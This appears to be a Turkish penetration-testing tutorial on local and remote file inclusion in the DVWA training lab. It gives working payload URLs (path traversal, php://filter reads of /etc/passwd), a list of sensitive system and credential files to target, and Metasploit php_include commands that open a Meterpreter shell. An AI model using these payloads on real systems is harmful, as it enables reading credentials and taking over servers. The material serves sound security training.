Yazıda kullanılan Damn Vulnerable Web Application (DVWA) sanal makinesi Vulnhub sitesinden indirilebilir.
https://www.vulnhub.com/entry/damn-vulnerable-web-application-dvwa-107,43/
Dosya Dahil Etme (File Inclusion) zafiyeti yerel (Local FI / LFI) ve uzak (Remote FI / RFI) olarak ikiye ayrılabilir. Yerel dosya dahil etme zafiyeti barındıran uygulamada, normalde sunulmayan ama işletim sistemde bulunan herhangi bir dosya (uygulama kullanıcısı yetkileri ile) okunabilir. Bunun yanında uzak dosya dahil etme zafiyeti barındıran uygulamada ise farklı bir sunucunun sunduğu bir sayfa zafiyetli uygulama tarafından sunulabilir veya zafiyetli uygulamanın komut satırına erişim sağlanabilir.
Not: Bu yazıda kullanılan Fimap aracı yerine aLFI aracı da kullanılabilirdi.
https://www.homelab.it/index.php/2014/08/26/alfi-scanner-an0th3r-lfi-sc4nn3r-v1-0/
Not: Benzer zafiyet aşağıdaki metodlarda da bulunmaktadir.
- include(DosyaAdi)
- require(DosyaAdi)
- include_once(DosyaAdi)
- require_once(DosyaAdi)
Örnek zafiyetli kullanımlar aşağıdaki gibi sıralanabilir.
- include(“dizin/”.$_GET[“sayfa”]);
- include($_GET[“sayfa”].”.php”);
- include(basename($_GET[“sayfa”]));
- include(“dizin/”.basename($_GET[“sayfa”]).”.php”);
1) Fimap Aracı ile Zafiyetin Tespiti
Dosya dahil etme zafiyetini içeren uygulama sayfasına erişmek için sol kolondaki “File Inclusion” bağlantısına tıklanabilir.
http://10.10.2.156/dvwa/vulnerabilities/fi/?page=include.php
Not: Zafiyetin mevcudiyetinin tespiti için olmayan bir sayfaya talepte bulunulabilir.
http://10.10.2.156/dvwa/vulnerabilities/fi/?page=OlmayanBirSayfa.php
Zafiyetli parametrenin bulunabilmesi için “fimap” aracı kullanılabilir. URL’e erişmek için kimlik doğrulaması gerektiği için çerez bilgisi de eklenmesi gerekmektedir.
fimap -b -u ‘http://10.10.2.156/dvwa/vulnerabilities/fi/?page=include.php’ –cookie=’security=low; PHPSESSID=r0eb9arb43fcb7viseae6pe5u6; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; __gfp_64b=9oh2xd3OTQ_CLy4Ku.14sN_C_PL45AZ_sRYJqhl.Y_j.W’
Not: Çerez bilgisi Burp Suite gibi bir araçla elde edilebilir.
Fimap aracının çıktısında dosya dahil etme zafiyetinin bulunduğu tespit edilmiştir.
Zafiyete sebep olan “page” parametresi ile varsayılan olarak uygulama sunucusunun web kök dizinindeki “include.php” dosyası sunulmaktadır. Bu dosyanın içeriği aşağıdaki gibidir.
cat include.php
2) Zafiyetin El İle İstismar Edilmesi
Yeterli kontrolün yapılmaması sebebi ile yerel dosya dahil etme zafiyeti oluşmaktadır. PHP include() fonksiyonu ile bir dosyanın içeriği PHP sunucu tarafından işlenmektedir. Dosyayı işlemeden (çalıştırmadan), dosyanın içeriğini görmek için ve “php://filter/convert.base64-encode” ifadesi kullanılabilir. Böylece bu zafiyetin istismar edilmesi ile işletim sistemindeki bir dosya okunabilmektedir.
http://10.10.2.156/dvwa/vulnerabilities/fi/?page=/etc/passwd
http://10.10.2.156/dvwa/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=/etc/passwd
http://10.10.2.156/dvwa/vulnerabilities/fi/?page=php://filter/resource=/etc/passwd
Not: Dizin erişimlerinde sıkıntı olması durumunda “../” ile üst dizinlere çıkılarak dosya okunabilir. Eğer URL kodlama ihtiyacı olursa da “..%27” kullanılarak dizine geçiş sağlanabilir.
http://10.10.2.156/dvwa/vulnerabilities/fi/?page=../../../../../../../../../../etc/passwd
Önemli olan bazı dosyalar bağlantıdaki ve aşağıdaki gibi sıralanabilir.
- /etc/issue
- /proc/version
- /etc/profile
- /etc/passwd
- /etc/shadow
- /etc/hosts
- /etc/sudoers
- /etc/issue
- /etc/mysql/my.cnf
- /proc/cmdline
- /root/.bash_history
- /var/log/apache2/access.log
- /var/log/dmessage
- /var/mail/root
- /var/spool/cron/crontabs/root
- /var/www/dvwa/phpinfo.php
- /var/www/dvwa/config/config.inc.php
Windows için önemli olabilecek dosyalar ise aşağıdaki gibidir.
- %SYSTEMROOT%\\repair\\system
- %SYSTEMROOT%\\repair\\SAM
- %SYSTEMROOT%\\repair\\SAM
- %WINDIR%\\win.ini
- %SYSTEMDRIVE%\\boot.ini
- %WINDIR%\\Panther\\sysprep.inf
- %WINDIR%\\system32\\config\\AppEvent.Evt
OSX için önemli olabilecek dosyalar ise aşağıdaki gibidir.
- /etc/fstab
- /etc/master.passwd
- /etc/resolv.conf
- /etc/sudoers
- /etc/sysctl.conf
Benzer olarak; yeterli kontrolün yapılmaması sebebi ile uzak dosya dahil etme zafiyeti oluşmakta ve bu zafiyetin istismar edilmesi ile başka bir sunucudaki bir dosya bu uygulama üzerinden sunulabilmektedir.
http://10.10.2.156/dvwa/vulnerabilities/fi/?page=https://www.google.com.tr
http://10.10.2.156/dvwa/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=http://www.google.com.tr
http://10.10.2.156/dvwa/vulnerabilities/fi/?page=php://filter/resource=http://www.google.com.tr
Uzaktan dahil edilen sayfa içerisine “Merhaba Dünya” gibi bir yazı varsa, zafiyetli sayfayı ziyaret eden ziyaretçiler ekranda bu yazı ile karşılaşırlar.
3) Zafiyetin MSF php_include Modülü ile İstismar Edilmesi
Uzak dosya dahil etme zafiyetinin istismarı için MSF php_include istismar modülü kullanılabilir.
search php_include
use exploit/unix/webapp/php_include
show options
Modül ayarlanır ve istismar işlemi gerçekleştirilir.
set RHOST 10.10.2.156
set PATH /dvwa/vulnerabilities/fi/
set PHPURI /?page=XXpathXX
set HEADERS “Cookie:security=low; PHPSESSID=lthmialb35uiejgrvbl5stksl4”
run
sessions -i 1
Not: Oturum ID değeri Burp Suite, Cookie Manager gibi uygulamalar ile elde edilebilir.
Elde edilen Meterpreter erişimi kullanılarak uygulama kullanıcısı yetkileri ile işlem gerçekleştirilebilir.
getuid
getpid
shell
id
hostname
ps -ef
1 2 3 |
<?php $file = $_GET['page']; //The page we wish to display ?> |
Kaynaklar:
http://www.includekarabuk.com/kategoriler/DVWAUygulamasi/Ders-8—File-Inclusion-Low-Level.php
http://csirt.ulakbim.gov.tr/dokumanlar/PHP_RFI_SaldiriEngelleme.pdf
https://pentesterlab.com/exercises/php_include_and_post_exploitation/course
http://kaoticcreations.blogspot.com.tr/2011/08/automated-lfirfi-scanning-exploiting.html
https://www.offensive-security.com/metasploit-unleashed/php-meterpreter/
https://github.com/lucyoa/ctf-wiki/tree/master/web/file-inclusion
http://securityidiots.com/Web-Pentest/LFI